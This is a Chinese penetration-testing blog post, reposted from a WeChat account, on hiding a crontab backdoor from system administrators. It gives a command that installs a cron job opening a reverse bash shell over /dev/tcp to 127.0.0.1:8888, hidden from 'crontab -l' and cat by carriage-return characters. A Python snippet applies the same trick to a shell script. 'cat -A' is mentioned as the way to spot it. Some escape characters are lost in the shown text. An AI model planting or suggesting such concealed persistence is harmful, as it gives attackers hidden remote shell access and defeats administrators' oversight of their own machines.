linux-隐藏你的crontab后门

admin 2021年3月8日23:10:50评论242 views字数 908阅读3分1秒阅读模式

crontab定时后门

crontab是用来定期执行程序的命令,crond 命令每分钟会定期检查是否有要执行的工作,如果有要执行的工作便会自动执行该工作。

注意: 新创建的 cron 任务,不会马上执行,至少要过 2 分钟后才可以,当然你可以重启 cron 来马上执行

比如我们通过redis写crontab后,管理员上线 执行 crontab-l 就会查看到我们留下的可疑命令。那么我们如果躲避管理员的查看呢?

linux-隐藏你的crontab后门

其实 crontab-l 是查看保存在这里 /var/spool/cron/crontabs/root文件。路径里的root对应每个用户不同的crontab

linux-隐藏你的crontab后门


隐藏crontab命令

我们清除之前的cron, 使用如下命令隐藏你的后门

(crontab-l;printf"*/60 * * * * exec 9<> /dev/tcp/127.0.0.1/8888;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i;rno crontab forwhoami %100cn")|crontab -

这时候,管理员 crontab-l ,或者查看记录文件都看不到定时任务了

linux-隐藏你的crontab后门

这个后门还是存在的,应该怎么看到呢?

使用 cat-A xxx 就可以看到隐藏的后门了。

linux-隐藏你的crontab后门


原理

原理就是cat一些比如 r 回车符 n 换行符 f 换页符这些符号导致了隐藏。

这里用python制作一个隐藏的sh。

  1. cmd_h = "echo 'You forgot to check `cat -A`!' > oops" # 隐藏

  2. cmd_v = "echo 'You see me!'" # 显示


  3. with open("test.sh", "w") as f:

  4. output = "#!/bin/shn"

  5. output += cmd_h + ";" + cmd_v + " #r" + cmd_v + " " * (len(cmd_h) + 3) + "n"

  6. f.write(output)

然后用 cat-A查看, cat-A 表示展示所有,等同于 -vET

linux-隐藏你的crontab后门

    这个技巧不单可以用在crontab,根据其他场景也可以使用。


师傅!右下角点赞、在看是免费的 (๑•̀ㅂ•́)و✧

linux-隐藏你的crontab后门

渗透测试教程

已经吃不上饭了,好心人关注一下-_-


本文始发于微信公众号(渗透测试教程):linux-隐藏你的crontab后门

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年3月8日23:10:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   linux-隐藏你的crontab后门http://cn-sec.com/archives/283473.html

发表评论

匿名网友 填写信息